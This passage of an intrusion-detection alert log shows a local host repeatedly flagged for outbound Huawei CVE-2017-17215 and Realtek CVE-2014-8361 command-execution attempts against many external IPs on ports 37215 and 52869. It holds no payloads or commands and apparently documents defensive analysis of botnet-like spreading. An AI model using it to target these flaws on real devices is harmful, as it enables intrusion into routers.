Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.90.165

Timestamp:	07/20/24-23:10:39.479427
SID:	2829579
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.219.154

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	42552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.75.183.223

Timestamp:	07/20/24-23:10:51.926807
SID:	2027339
Source Port:	38284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 189.107.255.223

Timestamp:	07/20/24-23:10:42.630026
SID:	2027339
Source Port:	54654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.249.230.34

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.52.64.219

Timestamp:	07/20/24-23:11:03.365385
SID:	2829579
Source Port:	41838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.153.143.199

Timestamp:	07/20/24-23:10:40.217788
SID:	2027339
Source Port:	33992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 169.30.6.222

Timestamp:	07/20/24-23:10:52.045718
SID:	2831300
Source Port:	45510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.18.139

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	60544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.200.111.240

Timestamp:	07/20/24-23:10:43.209193
SID:	2027339
Source Port:	37926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.208.181.41

Timestamp:	07/20/24-23:10:47.864657
SID:	2027339
Source Port:	54104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 149.136.218.225

Timestamp:	07/20/24-23:10:47.661709
SID:	2025132
Source Port:	57440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.177.221.156

Timestamp:	07/20/24-23:10:49.447315
SID:	2835222
Source Port:	52600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.166.197.193

Timestamp:	07/20/24-23:11:06.646712
SID:	2835222
Source Port:	46576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 130.31.106.211

Timestamp:	07/20/24-23:10:44.363105
SID:	2027339
Source Port:	47876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.30.6.222

Timestamp:	07/20/24-23:10:47.807651
SID:	2027339
Source Port:	43170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 116.197.1.84

Timestamp:	07/20/24-23:10:52.047583
SID:	2831300
Source Port:	57248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 91.122.92.170

Timestamp:	07/20/24-23:10:39.137399
SID:	2027339
Source Port:	36298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.105.136

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	36782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 143.186.214.112

Timestamp:	07/20/24-23:10:47.856055
SID:	2025132
Source Port:	34974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.78.88.55

Timestamp:	07/20/24-23:10:51.900424
SID:	2027339
Source Port:	48618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 114.103.82.126

Timestamp:	07/20/24-23:10:47.974293
SID:	2027339
Source Port:	46652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.12.151.250

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.45.92

Timestamp:	07/20/24-23:10:59.012072
SID:	2829579
Source Port:	36410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.43.252

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	60746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.245.33.54

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.217.24.18

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	41310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.170.212

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	56700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.162.159

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.29.196.90

Timestamp:	07/20/24-23:10:41.223199
SID:	2835222
Source Port:	56412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.146.90.23

Timestamp:	07/20/24-23:10:42.636108
SID:	2027339
Source Port:	33244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.125.66.82

Timestamp:	07/20/24-23:10:47.742820
SID:	2027339
Source Port:	37346
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.171.90.214

Timestamp:	07/20/24-23:10:43.587662
SID:	2027339
Source Port:	50302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.253.225

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	59708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.148.191.90

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	52342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.63.35.114

Timestamp:	07/20/24-23:10:51.967169
SID:	2027339
Source Port:	42706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 157.142.69.44

Timestamp:	07/20/24-23:10:39.086935
SID:	2025132
Source Port:	53020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.70.196

Timestamp:	07/20/24-23:10:41.228259
SID:	2835222
Source Port:	40016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 88.192.240.239

Timestamp:	07/20/24-23:10:47.630051
SID:	2027339
Source Port:	42844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 63.125.89.15

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	41312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.50.250.30

Timestamp:	07/20/24-23:10:59.067929
SID:	2835222
Source Port:	36638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.194.49.201

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 174.201.74.166

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	43378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.235.68.13

Timestamp:	07/20/24-23:11:06.683012
SID:	2829579
Source Port:	51526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.244.208

Timestamp:	07/20/24-23:10:40.607363
SID:	2835222
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 203.44.198.123

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	43262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 166.169.25.66

Timestamp:	07/20/24-23:10:43.225634
SID:	2025132
Source Port:	46284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 13.129.217.20

Timestamp:	07/20/24-23:10:51.933445
SID:	2831300
Source Port:	40566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.126.157.245

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	39360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.99.70

Timestamp:	07/20/24-23:10:42.266162
SID:	2835222
Source Port:	33384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 61.206.111.53

Timestamp:	07/20/24-23:10:52.070108
SID:	2831300
Source Port:	34310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.82.158.150

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	49376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.112.25

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	38926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.0.171.6

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 155.240.87.154

Timestamp:	07/20/24-23:10:52.435678
SID:	2025132
Source Port:	36872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.164.125.2

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	60906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 64.61.109.158

Timestamp:	07/20/24-23:10:42.634545
SID:	2027339
Source Port:	58114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.27.215.65

Timestamp:	07/20/24-23:10:55.915610
SID:	2835222
Source Port:	53646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.223.47.42

Timestamp:	07/20/24-23:10:41.228607
SID:	2835222
Source Port:	53106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 45.156.147.64

Timestamp:	07/20/24-23:10:51.931701
SID:	2027339
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.69.44.134

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	39436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.164.89.253

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 143.46.197.220

Timestamp:	07/20/24-23:10:44.680447
SID:	2025132
Source Port:	46452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.158.40.46

Timestamp:	07/20/24-23:10:46.795246
SID:	2835222
Source Port:	43948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.110.234.28

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	57612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.15.244.149

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	49514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.220.204.154

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	52260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.129.116

Timestamp:	07/20/24-23:10:59.050850
SID:	2829579
Source Port:	38294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.43.171.195

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	54390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.179.230.235

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	39590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 61.53.244.138

Timestamp:	07/20/24-23:10:39.141372
SID:	2025132
Source Port:	42866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.34.161.2

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	46812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 85.117.223.133

Timestamp:	07/20/24-23:10:41.227634
SID:	2829579
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.218.100.147

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	54308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 102.119.6.178

Timestamp:	07/20/24-23:10:39.181280
SID:	2025132
Source Port:	41986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.3.106.56

Timestamp:	07/20/24-23:10:40.373501
SID:	2027339
Source Port:	54092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 210.237.234.110

Timestamp:	07/20/24-23:10:43.416892
SID:	2025132
Source Port:	34096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.232.236

Timestamp:	07/20/24-23:10:41.220760
SID:	2829579
Source Port:	38648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.167.57.151

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	45402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.250.121.139

Timestamp:	07/20/24-23:10:51.940743
SID:	2027339
Source Port:	33696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 73.163.96.192

Timestamp:	07/20/24-23:10:39.155871
SID:	2027339
Source Port:	47922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.40.87.15

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	43348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.222.232.77

Timestamp:	07/20/24-23:10:43.232770
SID:	2027339
Source Port:	42922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 210.237.234.110

Timestamp:	07/20/24-23:10:51.928255
SID:	2831300
Source Port:	35270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 163.24.64.153

Timestamp:	07/20/24-23:10:51.955739
SID:	2831300
Source Port:	40260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.2.188

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	38824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 211.42.169.91

Timestamp:	07/20/24-23:10:42.636108
SID:	2831300
Source Port:	35330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.152.10.195

Timestamp:	07/20/24-23:10:40.662520
SID:	2835222
Source Port:	57238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 134.173.80.60

Timestamp:	07/20/24-23:10:51.970946
SID:	2831300
Source Port:	46124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.193.160.174

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	54138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 155.143.68.189

Timestamp:	07/20/24-23:10:49.450306
SID:	2829579
Source Port:	38718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.85.92

Timestamp:	07/20/24-23:10:52.581034
SID:	2829579
Source Port:	46262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.202.177

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	59256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 140.79.132.232

Timestamp:	07/20/24-23:10:51.900658
SID:	2831300
Source Port:	35080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 139.102.147.38

Timestamp:	07/20/24-23:11:06.712307
SID:	2835222
Source Port:	42490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.96.121

Timestamp:	07/20/24-23:11:06.680204
SID:	2829579
Source Port:	47234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.49.153.67

Timestamp:	07/20/24-23:10:49.383600
SID:	2829579
Source Port:	59808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.12.194.251

Timestamp:	07/20/24-23:10:59.067929
SID:	2829579
Source Port:	36858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.10.231.163

Timestamp:	07/20/24-23:10:39.841312
SID:	2027339
Source Port:	45616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.117.52

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	54592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 180.55.108.40

Timestamp:	07/20/24-23:10:51.931701
SID:	2027339
Source Port:	43816
Destination Port:	52869
Protocol:	TCP
